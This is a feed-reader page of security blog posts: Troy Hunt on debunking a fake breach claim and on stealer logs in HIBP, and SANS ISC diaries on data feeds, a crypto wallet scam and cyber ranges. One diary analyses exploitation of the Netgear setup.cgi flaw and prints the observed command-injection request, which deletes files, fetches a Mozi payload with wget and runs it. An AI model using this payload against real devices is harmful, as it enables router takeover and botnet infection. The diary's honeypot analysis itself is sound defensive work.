Normal view

There are new articles available, click to refresh the page.
Before yesterdayCyber Training

You Can't Trust Hackers, and Other Data Breach Verification Tales

By: Troy Hunt
22 January 2025 at 22:14
You Can't Trust Hackers, and Other Data Breach Verification Tales

It's hard to find a good criminal these days. I mean a really trustworthy one you can be confident won't lead you up the garden path with false promises of data breaches. Like this guy yesterday:

You Can't Trust Hackers, and Other Data Breach Verification Tales

For my international friends, JB Hi-Fi is a massive electronics retailer down under and they have my data! I mean by design because I've bought a bunch of stuff from them, so I was curious not just about my own data but because a breach of 12 million plus people would be massive in a country of not much more than double that. So, I dropped the guy a message and asked if he'd be willing to help me verify the incident by sharing my own record. I didn't want to post any public commentary about this incident until I had a reasonable degree of confidence it was legit, not given how much impact it could have in my very own backyard.

Now, I wouldn't normally share a private conversation with another party, but when someone sets out to scam people, that rule goes out the window as far as I'm concerned. So here's where the conversation got interesting:

You Can't Trust Hackers, and Other Data Breach Verification Tales

He guaranteed it for me! Sounds legit. But hey, everyone gets the benefit of the doubt until proven otherwise, so I started looking at the data. It turns out my own info wasn't in the full set, but he was happy to provide a few thousand sample records with 14 columns:

  1. customer_id_
  2. first_name
  3. last_name
  4. FullName
  5. gender
  6. email_address_
  7. mobile_country_
  8. mobile_number_
  9. dob
  10. postal_street_1_
  11. state_
  12. postal_code_
  13. city_
  14. account_status

Pretty standard stuff, could be legit, let's check. I have a little Powershell script I run against the HIBP API when a new alleged breach comes in and I want to get a really good sense of how unique it is. It simply loops through all the email addresses in a file, checks which breaches they've been in and keeps track of the percentage that have been seen before. A unique breach will have anywhere from about 40% to 80% previously seen addresses, but this one had, well, more:

You Can't Trust Hackers, and Other Data Breach Verification Tales

Spot the trend? Every single address has one breach in common. Hmmm... wonder what the guy has to say about that?

You Can't Trust Hackers, and Other Data Breach Verification Tales

But he was in the server! And he grabbed it from the dashboard of Shopify! Must be legit, unless... what if I compared it to the actual full breach of Dymocks? That's a local Aussie bookseller (so it would have a lot of Aussie-looking email addresses in it, just like JB Hi-Fi would), and their breach dated back to mid-2023. I keep breaches like that on hand for just such occasions, let's compare the two:

You Can't Trust Hackers, and Other Data Breach Verification Tales

Wow! What are the chances?! He's going to be so interested when he hears about this!

You Can't Trust Hackers, and Other Data Breach Verification Tales

And that was it. The chat went silent and very shortly after, the listing was gone:

You Can't Trust Hackers, and Other Data Breach Verification Tales

It looks like the bloke has also since been booted off the forum where he tried to run the scam so yeah, this one didn't work out great for him. That $16k would have been so tasty too!

I wrote this short post to highlight how important verification of data breach claims is. Obviously, I've seen loads of legitimate ones but I've also seen a lot of rubbish. Not usually this blatant where the party contacting me is making such demonstrably false claims about their own exploits, but very regularly from people who obtain something from another party and repeat the lie they've been told. This example also highlights how useful data from previous breaches is, even after the email addresses have been extracted and loaded into HIBP. Data is so often recycled and shipped around as something new, this was just a textbook perfect case of making use of a previous incident to disprove a new claim. Plus, it's kinda fun poking holes in a scamming criminal's claims 😊

Experimenting with Stealer Logs in Have I Been Pwned

By: Troy Hunt
13 January 2025 at 14:48
Experimenting with Stealer Logs in Have I Been Pwned

TL;DR — Email addresses in stealer logs can now be queried in HIBP to discover which websites they've had credentials exposed against. Individuals can see this by verifying their address using the notification service and organisations monitoring domains can pull a list back via a new API.

Nasty stuff, stealer logs. I've written about them and loaded them into Have I Been Pwned (HIBP) before but just as a recap, we're talking about the logs created by malware running on infected machines. You know that game cheat you downloaded? Or that crack for the pirated software product? Or the video of your colleague doing something that sounded crazy but you thought you'd better download and run that executable program showing it just to be sure? That's just a few different ways you end up with malware on your machine that then watches what you're doing and logs it, just like this:

Experimenting with Stealer Logs in Have I Been Pwned

These logs all came from the same person and each time the poor bloke visited a website and logged in, the malware snared the URL, his email address and his password. It's akin to a criminal looking over his shoulder and writing down the credentials for every service he's using, except rather than it being one shoulder-surfing bad guy, it's somewhat larger than that. We're talking about billions of records of stealer logs floating around, often published via Telegram where they're easily accessible to the masses. Check out Bitsight's piece titled Exfiltration over Telegram Bots: Skidding Infostealer Logs if you'd like to get into the weeds of how and why this happens. Or, for a really quick snapshot, here's an example that popped up on Telegram as I was writing this post:

Experimenting with Stealer Logs in Have I Been Pwned

As it relates to HIBP, stealer logs have always presented a bit of a paradox: they contain huge troves of personal information that by any reasonable measure constitute a data breach that victims would like to know about, but then what can they actually do about it? What are the websites listed against their email address? And what password was used? Reading the comments from the blog post in the first para, you can sense the frustration; people want more info and merely saying "your email address appeared in stealer logs" has left many feeling more frustrated than informed. I've been giving that a lot of thought over recent months and today, we're going to take a big step towards addressing that concern:

The domains an email address appears next to in stealer logs can now be returned to authorised users.

This means the guy with the Gmail address from the screen grab above can now see that his address has appeared against Amazon, Facebook and H&R Block. Further, his password is also searchable in Pwned Passwords so every piece of info we have from the stealer log is now accessible to him. Let me explain the mechanics of this:

Firstly, the volumes of data we're talking about are immense. In the case of the most recent corpus of data I was sent, there are hundreds of text files with well over 100GB of data and billions of rows. Filtering it all down, we ended up with 220 million unique rows of email address and domain pairs covering 69 million of the total 71 million email addresses in the data. The gap is explained by a combination of email addresses that appeared against invalidly formed domains and in some cases, addresses that only appeared with a password and not a domain. Criminals aren't exactly renowned for dumping perfectly formed data sets we can seamlessly work with, and I hope folks that fall into that few percent gap understand this limitation.

So, we now have 220 million records of email addresses against domains, how do we surface that information? Keeping in mind that "experimental" caveat in the title, the first decision we made is that it should only be accessible to the following parties:

  1. The person who owns the email address
  2. The company that owns the domain the email address is on

At face value it might look like that first point deviates from the current model of just entering an email address on the front page of the site and getting back a result (and there are very good reasons why the service works this way). There are some important differences though, the first of which is that whilst your classic email address search on HIBP returns verified breaches of specific services, stealer logs contain a list of services that have never have been breached. It means we're talking about much larger numbers that build up far richer profiles; instead of a few breached services someone used, we're talking about potentially hundreds of them. Secondly, many of the services that appear next to email addresses in the stealer logs are precisely the sort of thing we flag as sensitive and hide from public view. There's a heap of Pornhub. There are health-related services. Religious one. Political websites. There are a lot of services there that merely by association constitute sensitive information, and we just don't want to take the risk of showing that info to the masses.

The second point means that companies doing domain searches (for which they already need to prove control of the domain), can pull back the list of the websites people in their organisation have email addresses next to. When the company controls the domain, they also control the email addresses on that domain and by extension, have the technical ability to view messages sent to their mailbox. Whether they have policies prohibiting this is a different story but remember, your work email address is your work's email address! They can already see the services sending emails to their people, and in the case of stealer logs, this is likely to be enormously useful information as it relates to protecting the organisation. I ran a few big names through the data, and even I was shocked at the prevalence of corporate email addresses against services you wouldn't expect to be used in the workplace (then again, using the corp email address in places you definitely shouldn't be isn't exactly anything new). That in itself is an issue, then there's the question of whether these logs came from an infected corporate machine or from someone entering their work email address into their personal device.

I started thinking more about what you can learn about an organisation's exposure in these logs, so I grabbed a well-known brand in the Fortune 500. Here are some of the highlights:

  1. 2,850 unique corporate email addresses in the stealer logs
  2. 3,159 instances of an address against a service they use, accompanied by a password (some email addresses appeared multiple times)
  3. The top domains included paypal.com, netflix.com, amazon.com and facebook.com (likely within the scope of acceptable corporate use)
  4. The top domains also included steamcommunity.com, roblox.com and battle.net (all gaming websites likely not within scope of acceptable use)
  5. Dozens of domains containing the words "porn", "adult" or "xxx" (definitely not within scope!)
  6. Dozens more domains containing the corporate brand, either as subdomains of their primary domain or org-specific subdomains of other services including Udemy (online learning), Amplify ("strategy execution platform"), Microsoft Azure (the same cloud platform that HIBP runs on) and Salesforce (needs no introduction)

That said, let me emphasise a critical point:

This data is prepared and sold by criminals who provide zero guarantees as to its accuracy. The only guarantee is that the presence of an email address next to a domain is precisely what's in the stealer log; the owner of the address may never have actually visited the indicated website.

Stealer logs are not like typical data breaches where it's a discrete incident leading to the dumping of customers of a specific service. I know that the presence of my personal email address in the LinkedIn and Dropbox data breaches, for example, is a near-ironclad indication that those services exposed my data. Stealer logs don't provide that guarantee, so please understand this when reviewing the data.

The way we've decided to implement these two use cases differs:

  1. Individuals who can verify they control their email address can use the free notification service. This is already how people can view sensitive data breaches against their address.
  2. Organisations monitoring domains can call a new API by email address. They'll need to have verified control of the domain the address is on and have an appropriately sized subscription (essentially what's already required to search the domain).

We'll make the individual searches cleaner in the near future as part of the rebrand I've recently been talking about. For now, here's what it looks like:

Experimenting with Stealer Logs in Have I Been Pwned

Because of the recirculation of many stealer logs, we're not tracking which domains appeared against which breaches in HIBP. Depending on how this experiment with stealer logs goes, we'll likely add more in the future (and fill in the domain data for existing stealer logs in HIBP), but additional domains will only appear in the screen above if they haven't already been seen.

We've done the searches by domain owners via API as we're talking about potentially huge volumes of data that really don't scale well to the browser experience. Imagine a company with tens or hundreds of thousands of breached addresses and then a whole heap of those addresses have a bunch of stealer log entries against them. Further, by putting this behind a per-email address API rather than automatically showing it on domain search means it's easy for an org to not see these results, which I suspect some will elect to do for privacy reasons. The API approach was easiest while we explore this service then we can build on that based on feedback. I mentioned this was experimental, right? For now, it looks like this:

Experimenting with Stealer Logs in Have I Been Pwned

Lastly, there's another opportunity altogether that loading stealer logs in this fashion opens up, and the penny dropped when I loaded that last one mentioned earlier. I was contacted by a couple of different organisations that explained how around the time the data I'd loaded was circulating, they were seeing an uptick in account takeovers "and the attackers were getting the password right first go every time!" Using HIBP to try and understand where impacted customers might have been exposed, they posited that it was possible the same stealer logs I had were being used by criminals to extract every account that had logged onto their service. So, we started delving into the data and sure enough, all the other email addresses against their domain aligned with customers who were suffering from account takeover. We now have that data in HIBP, and it would be technically feasible to provide this to domain owners so that they can get an early heads up on which of their customers they probably have to rotate credentials for. I love the idea as it's a great preventative measure, perhaps that will be our next experiment.

Onto the passwords and as mentioned earlier, these have all been extracted and added to the existing Pwned Passwords service. This service remains totally free and open source (both code and data), has a really cool anonymity model allowing you to hit the API without disclosing the password being searched for, and has become absolutely MASSIVE!

Experimenting with Stealer Logs in Have I Been Pwned

I thought that doing more than 10 billion requests a month was cool, but look at that data transfer - more than a quarter of a petabyte just last month! And it's in use at some pretty big name sites as well:

Experimenting with Stealer Logs in Have I Been Pwned
Experimenting with Stealer Logs in Have I Been Pwned
Experimenting with Stealer Logs in Have I Been Pwned

That's just where the API is implemented client-side, and we can identify the source of the requests via the referrer header. Most implementations are done server-side, and by design, we have absolutely no idea who those folks are. Shoutout to Cloudflare while we're here for continuing to provide the service behind this for free to help make a more secure web.

In terms of the passwords in this latest stealer log corpus, we found 167 million unique ones of which only 61 million were already in HIBP. That's a massive number, so we did some checks, and whilst there's always a bit of junk in these data sets (remember - criminals and formatting!) there's also a heap of new stuff. For example:

  1. Tryingtogetkangaroo
  2. Kangaroolover69
  3. fuckkangaroos

And about 106M other non-kangaroo themed passwords. Admittedly, we did start to get a bit preoccupied looking at some of the creative ways people were creating previously unseen passwords:

  1. passwordtoavoidpwned13
  2. verygoodpassword
  3. AVerryGoodPasswordThatNooneCanGuess2.0

And here's something especially ironic: check out these stealer log entries:

Experimenting with Stealer Logs in Have I Been Pwned

People have been checking these passwords on HIBP's service whilst infected with malware that logged the search! None of those passwords were in HIBP... but they all are now 🙂

Want to see something equally ironic? People using my Hack Yourself First website to learn about secure coding practices have also been infected with malware and ended up in stealer logs:

Experimenting with Stealer Logs in Have I Been Pwned

So, that's the experiment we're trying with stealer logs, and that's how to see the websites exposed against an email address. Just one final comment as it comes up every single time we load data like this:

We cannot manually provide data on a per-individual basis.

Hopefully, there's less need to now given the new feature outlined above, and I hope the massive burden of looking up individual records when there are 71 million people impacted is evident. Do leave your comments below and help us improve this feature to become as useful as we can possibly make it.

Weekly Update 434

By: Troy Hunt
12 January 2025 at 17:59
Weekly Update 434

This week I'm giving a little teaser as to what's coming with stealer logs in HIBP and in about 24 hours from the time of writing, you'll be able to see the whole thing in action. This has been a huge amount of work trawling through vast volumes of data and trying to make it usable by the masses, but I think what we're launchung tomorrow will be awesome. Along with a new feature around these stealer logs, we've also added a huge number of new passwords to Pwned Passwords not previously seen before. Now, for the first time ever, "fuckkangaroos" will be flagged by any websites using the service 😮 More awesome examples coming in tomorrow's blog post, stay tuned!

Weekly Update 434
Weekly Update 434
Weekly Update 434
Weekly Update 434

References

  1. Sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite
  2. Publicly asking for a security contact ios really not something I want to be doing (it tends to be a last resort after not being able to raise the company via various other channels)
  3. Massive kudos to Synology for making the DiskStation rollover process entirely seamless (little bit of work restoring Plex, but at least there was zero data loss)

Weekly Update 429

By: Troy Hunt
7 December 2024 at 23:09
Weekly Update 429

A super quick intro today as I rush off to do the next very Dubai thing: drive a Lambo through the desert to go dirt bike riding before jumping in a Can-Am off-roader and then heading to the kart track for a couple of afternoon sessions. I post lots of pics to my Facebook account, and if none of that is interesting, here's this week's video on more infosec-related topics:

Weekly Update 429
Weekly Update 429
Weekly Update 429
Weekly Update 429

References

  1. Sponsored by: Cyberattacks are guaranteed. Is your recovery? Protect your data in the cloud. Join Rubrik’s Cloud Resilience Summit.
  2. The Armenian Government is now the 37th to have free and open access to their domains on HIBP (this gives them API-level domain searches to their gov TLD)
  3. After two and a bit years on sale, we're now giving away "Pwned" the book, for free (go grab it in PDF or EPUB format)

Weekly Update 428

By: Troy Hunt
30 November 2024 at 22:19
Weekly Update 428

I wouldn't say this is a list of my favourite breaches from this year as that's a bit of a disingenuous term, but oh boy were there some memorable ones. So many of the incidents I deal with are relatively benign in terms of either the data they expose or the nature of the service, but some of them this year were absolute zingers. This week, I'm talking about the ones that really stuck out to me for one reason or another, here's the top 5:

Weekly Update 428
Weekly Update 428
Weekly Update 428
Weekly Update 428

References

  1. Sponsored by: 1Password Extended Access Management: Secure every sign-in for every app on every device.
  2. The Spoutible breach was one of the most bizarre instances of returning unnecessary data via an API I've ever seen (passwords, 2FA secrets and the code used in "magic links" to reset passwords)
  3. It's one thing for spyware to be used for stalking partners against their terms and conditions, it was quite another for pcTattletale to explicitly refer to marital infidelity as a use case for the product (this data breach actually killed the company)
  4. The "Combolists Posted to Telegram" breach was more significant for the stealer logs than it was the combolists aggregated from other sources (that really brought this class of breach into the spotlight for me)
  5. The National Public Data breach was much more significant for the exposure of hundreds of millions of social security numbers than it was for the email addresses that went into HIBP (that's another company that folded as a result of their breach)
  6. The Muah.AI breach exposed a trove of requests by users to create CSAM images (the linked thread is a mind-boggling series of tweets about both the content and the justifications offered for not having controls on the images created)

Update: Cybercriminals still not fully on board the AI train (yet)

28 January 2025 at 08:00
A year after our initial research on threat actors’ attitudes to generative AI, we revisit some underground forums and find that many cybercriminals are still skeptical – although there has been a slight shift

Some updates to our data feeds, (Tue, Feb 4th)

We have offered several different data feeds via our API or other means. However, we are often not very good at documenting what these feeds are all about. Currently, I am in the process of fixing the documentation around these data feeds.

These data feeds are used to augment our data, but may also be helpful to add "color to your logs", which is how I see most of this data being used. Many data feeds do not contain lists of IPs that should be classified as malicious. For example, we attempt to collect IP addresses of public NTP servers. These are usually part of "pool.ntp.org". We are collecting them because they have triggered false positives. Knowing that an IP address is associated with a public NTP server in case you see odd traffic from or to port 123 is helpful.

Just last week, I came across another resource that I found helpful: rosti.bin.re extracts IoCs from various sources like news articles and blog posts. I added this data to our "IP Info" page to provide this useful context in case you are searching for an IP.

The data we produce is published under a "Creative Commons" license. You may use the data for free if you acknowledge the source and do not resell the data. We do not offer commercial licenses, but if you ask nicely and do not play stupid vendor tricks, we will sometimes allow commercial use. Using the data to help you secure your network is always okay, even if the network is commercial. All data is provided "as is" and we are not responsible if you break your network, lose your job, or start a nuclear war by replacing your dead man switch with our API.

So why do we not make these lists simple "blocklists" for your firewall? In my opinion, most of these lists are stupid, and ours would not be any better. I am not able to tell you what IPs you should block. Many of these IPs exploit well-known vulnerabilities. Spend your time fixing the vulnerability. We will never have a list of all IPs exploiting a particular vulnerability, and the list will never be free of false positives. Consume the data responsibly. We are not going to help you waste time or money. If you need help with that, please contact your enterprise security vendor.

We do, however, always like your data :). The best way to say "Thank You" is to run a honeypot and feed us data. We also appreciate feedback and suggestions for other data sources. Please use our contact page to provide feedback. We would particularly like to hear how you use our data.

Initial data feed documentation

Creative Commons License

Documentation for our API

Example "IP Info" Page (note: you may just enter an IPv4 address into the search box at the top of the page)

I realize the "IP Info" page does not look great. But before you call my baby ugly, send me a suggestion/mockup how to fix it.

Screen shot of Internet Storm Center IP Info page for 198.199.82.43---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Crypto Wallet Scam, (Mon, Feb 3rd)

Johannes noticed a SPAM comment on his YouTube channel:

It was clear to us that this was a scam, but it wasn't clear to us how it worked.

The seed phrase allows you to derive the private keys of the wallets, and gives you full control over the wallet. And as security professionals, we know you must never share private keys. So the scammer wants us to think that they shared their private keys without understanding the risk. And thus creating a (false) opportunity for dishonest people wanting to appropriate the content of the wallet. Because you have the private keys, you can move the funds out of the wallet to your own wallet.

So one could install wallet software and use the private key to control the wallet.

But let's do this a bit differently.

Mnemonic Code Converter is an online/offline HTML page that takes seed phrases and converts them to a seed (BIP39) and addresses (BIP44).

Doing this for the scammer's seed phrase give this:

I had to select a coin to derive the addresses. USDT (a stablecoin for the US Dollar) is mentioned in the scam comment, but it's not an option in this page. I did some research, and discovered that USDT is a token that can be exchanged on different networks. The most popular network is Tron, and that coin is TRX. So let's try coin TRX:

That address is indeed active on the Tron blockchain :

This wallet contains $5000+, mostly in USDT, and a small bit in TRX. It's a real wallet, and it contains real assets. So what's the scam, why hasn't this money been moved out of the wallet yet?

One thing, notice this at the top of the page:

This means that this is a multi-signature wallet (it has not one private key, like classic wallets, but it has multiple private keys), and that the published seed phrase doesn't give you control over the wallet. To move money out of the wallet, you need the private key of the address mentioned in the permissions (TGk...).

So that's why there is still $5000+ in this wallet.

Second thing, to move the $5000+ USDT tokens out of the wallet, you need to pay a fee with TRX tokens. And the amount of TRX tokens in the wallet is not sufficient to pay the fee. Thus you can't move the USDT tokens to your own wallet. And it's here that dishonest people get scammed.

They will move some of their own TRX into the wallet, and then use that to pay the fee to try to transfer the USDT to their own wallet (it won't work).

We can see this happening in the transaction history of this wallet:

Small amounts of TRX are transfered to this wallet.

So this scam is targetting versed cryptocurrency users: you need to know that TRX coins are necessary to move USDT tokens out of a TRX wallet (I didn't know this).

But why would experienced cryptocurrency users not notice that this is a multisig wallet and that the seed phrase doesn't give them control over the wallet?

Maybe the explanation lies in the fact that the OKX wallet (mentioned in the scam comment) doesn't display that information (alledgedly, there are wallet applications that do flag multisig wallets).

After moving some TRX coins into the wallet, the transfer of USDT tokens is still not possible because of permissions, and the scam victims can't recover their TRX coins, because that transfer is also not possible because of permissions.

 

I'm not well versed in cryptocurrency, please post a comment if you want to correct or complement things I explain here, or if you have different explanations. I used the following resources for my research:

https://www.reddit.com/r/CryptoScams/comments/1i95pk0/how_is_this_scam_working/

https://inleo.io/@bil.prag/crypto-scam-in-youtube-comment-5cs

https://www.reddit.com/r/Bitcoin/comments/10nmirl/how_to_get_publicprivate_key_of_an_address_using/

https://tronscan.io/#/address/TAy4omTf7uENvTm2QrT22ZY8BvdrjXUKzC

 

 

 

Didier Stevens
Senior handler


blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

To Simulate or Replicate: Crafting Cyber Ranges, (Fri, Jan 31st)

The Good Stuff First This tool is being shared (calling it a tool is generous) due to the number of times last year I had to create fake internet domains. It adds domains and zones to Windows DNS. This was to help with the many student cyber ranges that got ‘sploited [1] in the name of learning.



It is posted to GitHub. [4]

Introduction - To Simulate or Replicate

In my experience with cybersecurity training, there's always this tug-of-war between using tools to simulate threats in a safe sandbox or going for the real deal by replicating actual attacks. To paraphrase; “To Simulate or not to Simulate, that is the question!” When we talk about simulation, I mean using tech like threat simulators where you can control everything down to the last byte. It's great for training because you can teach without the risk.

These tools do an amazing job and this is not a dig on any of them. Sometimes, you just have to take the type 2 approach [2].

When you replicate, you're building a digital mirror of real attacks. This is where you get the view into the "what if" moments. It is also where you can get your hands dirty with live behavior of malware and command and control. Sure, it's riskier, but the payoff in learning can be extremely useful. In my case, we settled on real ‘enough.’

The Problem

Let's first acknowledge that no wheel was re-invented here. We went back to some basics. Routing, DNS and controlling what was executed and it worked [5].

  • Safely building an infrastructure so students and users could enjoy non-simulated attacks. Replicate -> Delete -> Repeat. We had to control routing, control leakage, control execution and make this safe at scale.
  • Have the environment and logs look as real as possible [6].
  • Use known use-cases from current documented APT reports [7].

The Solution
 

First, Managed the Basics:  Make sure you have 100% control over DNS, routing, and what was executed on the network. This provided the power to steer how the cyber range behaved, much like a conductor leading an orchestra. It started with hosts files, and evolved into controlling DNS servers, hence the above tool being shared.

Next, Control the Environment: Pick out known bad IP addresses from the internet's underbelly, those associated with Indicators of Compromise (IOCs). By squatting on these IPs and locking down their routes with static entries and firewall rules at the network's edge, a controlled cyber-range is created. The example CSV in the applet used RFC 5737 and RFC 2606 for IP and domain examples. Make sure to adapt that, as example.test just does not look convincing in logs [8]. FYI, our very own DShield is a good place to start looking if you need a range to use: https://www.dshield.org/block.txt

Then, Craft the Tools: I decided to build our attack tools from the bad guys lens and design our own game space. We tested many of the frameworks and went with Mythic and modeling APT28 and tweaking it to fit our unique setup. This way, we controlled exactly how the "bad guys" played [9]. We selected Mythic for many reasons, however do check out their Jupyter Notebooks!

Building the Network: We set up the network topology using tools like Ansible and Terraform for repeatability. Think of it as setting the stage - you could expect to see code for this in future diaries [10].
 

Finally, Tested and Validated


I tested for route leakage. This is what prompted more than one layer of Firewalls. We had three firewalls in place, two in the primary gamespace with a final gatekeeper. There are dynamic lists that populate the border as a third layer of control importing our cyber-squating space. To summarize, control resultion, control routing, then filter at the border of the lab. [11]. Let me know if you want a deeper dive on this?

Conclusion, Keep it Simple


Over the past year, I've been involved in constructing cyber ranges specifically for replication purposes. When you are asked to do this more than nTimes, where n = the number of times that cause you to lose it and code over the weekend, you automate. Sometimes old methods apply. If this is of interest to the community, let me know in the comments below and I will clean up and release more of the micro-tools assembled to make this all work?

Not a single AI was harmed in the creation of this diary!

@packetmonk on X.

 

References:

[1] MITRE ATT&CK Framework - MITRE ATT&CK

[2] Honeynet Project - Honeynet Project

[3] Honey Pots - Honey Pots and Honey Nets

[4] GitHub - Richard’s PowerShell Scripts (for the DNS configuration script mentioned) - GitHub

[5] DNS is the new BGP - APNIC

[6] Generating Hyptoheses for Successful Threat Hunting - SANS Whitepaper

[7] MITRE APT List - Attack Groups



Richard Porter
--- ISC Handler on Duty

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

PCAPs or It Didn't Happen: Exposing an Old Netgear Vulnerability Still Active in 2025 [Guest Diary], (Thu, Jan 30th)

[This is a Guest Diary by David Watson, an ISC intern as part of the SANS.edu BACS program]

One thing I’ve learned about cybersecurity, particularly during my time here at the Internet Storm Center is this: If you don’t capture detailed network data (like PCAPs), you can easily miss the full picture of an attack, even with the most aggressive logging practices.
 
One of the attack observations I submitted on January 12th detailed an older vulnerability that uses HTTP GET requests, attempting to perform unauthenticated OS command injections on some legacy Netgear devices, targeting the ‘setup.cgi’ script. I was curious as to which Netgear devices might be involved, and some research led me to a few publications on exploit-db.com, which identified specifically the DGN1000 with firmware versions before 1.1.0.48, and the DGN2200v1 (all firmware versions) modem/router models.[2][3] Both of these models are shown to be “end of service” on the Netgear website. [4][5] There was no CVE mentioned, but a few days later I found out from another post on the 15th of January here at the Internet Storm Center, written by Dr. Yee Ching Tok, Ph.D., ISC Handler:

“This vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025.” [6]

CVE-2024-12847 has a CVSS score of 9.8 as shown on NIST.gov. [7] This post will illustrate how I found this in my logs, why it matters, and how packet captures and Zeek logs proved essential.

An Older Vulnerability Resurfaces

Netgear’s DGN1000 and DGN2200v1 devices are end-of-life (EOL) devices. The bug sits in a script called ‘setup.cgi’, (cgi = Common Gateway Interface) which is meant for administrative management of the router. Attackers discovered that by passing certain parameters, one can execute arbitrary OS commands on the router’s underlying Linux operating system as root, without any authentication checks. Over the last several months my web logs showed 257 suspicious HTTP GET requests from 16 unique IP addresses to ‘/setup.cgi’.

Looking into my Zeek logs to correlate this activity revealed an interesting payload, showing two examples of the command injection attempts here:

Breaking this down, we have:
 

  • GET /setup.cgi?next_file=netgear.cfg – Targeting the setup.cgi script.
  • &todo=syscmd – Calling the syscmd function.
  • &cmd=rm+-rf+/tmp/*;wget+hxxp[://]<ip_address:port>/Mozi[.]m+-O+/tmp/netgear;sh+netgear – OS command injection.
  • &curpath=/ - Setting “current path” to root.
  • &currentsetting.htm=1 – unclear exactly what this part does.

The command injection attempt aims to:

  • rm -rf /tmp/*; - Remove the contents of the /tmp directory.
  • wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; - Retrieve malicious script (Mozi botnet related? [14]) from remote server, save it in /tmp directory and name it “netgear”.
  • sh netgear – Execute malicious script on target device.

Reverse-Engineering setup.cgi

Curiosity drove me to download a vulnerable version of the DGN1000 firmware, specifically version 1.1.00.24, still available right off the Netgear website! [8] I found the setup.cgi file, located in the <source>/target/sbin directory. Running the ‘file’ command showed:

setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

Using my relatively new reverse engineering “ninja” skills gained from several CTFs I have participated in over the last few years (and various websites with C documentation), I decided to attempt a disassembly with radare2, [10] as it allows me to look inside this compiled binary and see how it works.

I am interested in the syscmd function, so I ran “iz~syscmd”, which gave me a string reference to syscmd and and a pointer to its location. Running “pdf” (print disassembly of function) after navigating to that address within the binary reveals the function associated with syscmd. Here is what that looks like:

Right off the bat, I can see some standard C library calls like putenv, printf, snprintf, chdir, puts, fflush, popen, fread, fwrite, and pclose. [9] “find_val” might be a custom or proprietary function specific to the Netgear firmware, but I did not find any specific reference pointing to this as of now. Given the context of this disassembly, we will assume that find_val has something to do with retrieving user-supplied parameters. Based on the sequence of events here, this is what I can conclude from the syscmd function:

  • putenv, puts, and printf have to do with setting up the environment, status messages and/or error reporting and/or debugging.[9]
  • find_val most likely retrieves user-supplied parameters.
  • snprintf formats and stores characters into the buffer [9], likely from find_val.
  • chdir possibly relates to the curpath=/ in the HTTP request.
  • fflush writes the contents of the buffer to the output stream. [9]
  • popen spawns a shell instance and executes the command. [11]
  • fread() and fwrite() capture the output and send it somewhere (log file and/or back to the user if necessary)[9]

Based on what we can see how the syscmd function is laid out, there is absolutely zero input sanitization, and, looking at the entire setup.cgi script there is no mention of any authentication checks before being able to run these commands.

As far as the netgear.cfg file goes, it is not entirely clear why there is a “next_file = netgear.cfg” parameter before the “&todo=syscmd…etc” begins. I did not have access to the netgear.cfg file as it was a broken hard link pointing to the /tmp directory which was empty. I did find the “currentsetting.htm” file in source/target/www.eng, which, when printed, shows basic information about the device:

  • Firmware=V1.1.0.24NA
  • RegionTag=DGN1000_NA
  • Region=US
  • Model=DGN1000
  • InternetConnectionStatus=Up
  • ParentalControlSupported=1

I also found something else interesting here. A file called syscmd.htm which has several interesting JavaScript functions in it relating to our exploit.



Essentially this (combined with the rest of the script, not included here) looks like part of the local front-end of the router’s web page to facilitate running the user-initiated commands.

This is interesting because there is at least some of the input validation/sanitization (included in some of the REGEX) we were looking for in the setup.cgi script itself! But this is only really enforced on the client/local side. There is nothing stopping an attacker from using this script to craft their own custom HTTP requests and sending them directly to the setup.cgi script in the provided format:

url: “/setup.cgi?todo=syscmd&cmd=<command_injection>&curpath=/”

The only remaining parts to the full URL we mentioned are the “next_file=netgear.cfg” and “currentsetting.htm=1”. It is possible that these parameters need to be added to prevent the failure of the request/destination device throwing back errors, or perhaps one or both values have to do with the authentication bypass, as we did not see any checks for authentication in the setup.cgi script itself. It is also possible that the attackers are just re-using the proof of concept that was referenced on the exploit-db site,[2][3] showing the exact format of the exploit, and not personally crafting the request themselves, save for the remote server IP and the malicious files in question, used to add the router to a botnet and/or hijack CPU resources to mine cryptocurrency, as we have also seen in other attempts on my honeypot.

Conclusion

The fact that we are still seeing what is now CVE-2024-12847 actively being exploited in the wild as much as it is isn’t all that surprising. Many people choose to keep their older hardware for as long as possible because, perhaps they cannot afford to replace it, and/or they do not realize the importance of patching regularly or upgrading when needed. Personally, I know VERY few people who check to see if their router needs updated firmware at least once a month. One of the potential benefits of using equipment provided by the Internet Service Provider(s) is they will often push these firmware updates to customer equipment, but that might not always be guaranteed, so it is worth double checking. And if the customer purchases their own equipment, it is their responsibility to keep it patched.
 
This graphic shows how many of these URLs the Internet Storm Center has seen over the past year: [13]

What do we glean from this? Outdated systems remain vulnerable long after their official support has ended. Despite being labeled as “end of service”, devices like the Netgear DGN1000 and DGN2200v1 (and probably many more Internet of Things (IoT) devices) continue to present significant security risks that can and will be exploited if appropriate measures are not taken.

My ultimate point in writing this is about the lessons I learned during this internship, in comprehensive network monitoring and data capture. Without the combination of detailed logging combined with things like packet captures and Zeek logs, these things can sometimes slip under the radar, leaving networks exposed. The ability to correlate events across different logs, as shown with Zeek in this case, was crucial in identifying and understanding the scope of the attack and understanding how to remediate and patch vulnerabilities.

I read an article earlier today that gave me a chuckle, titled “I paid $250,000 to learn forensics… and still don’t know forensics… [12]. Looking past the forensics title (and the humor), I think this applies to all of cybersecurity in general. Threats are constantly evolving, making this a field that demands continuous learning and adaptation. As soon as we become complacent, we risk failing to protect and defend our networks effectively. There is no definitive endpoint where we can say we “fully know” network security, threat hunting, incident response, etc. It is a lifelong journey, and one which I am extremely excited to be on. I will close this out with a phrase that has always stuck in my mind ever since my time in the Marines, and feel it is very applicable here. “Complacency kills” (and leaves networks vulnerable). One more thing, someone go buy Grandma a new router!

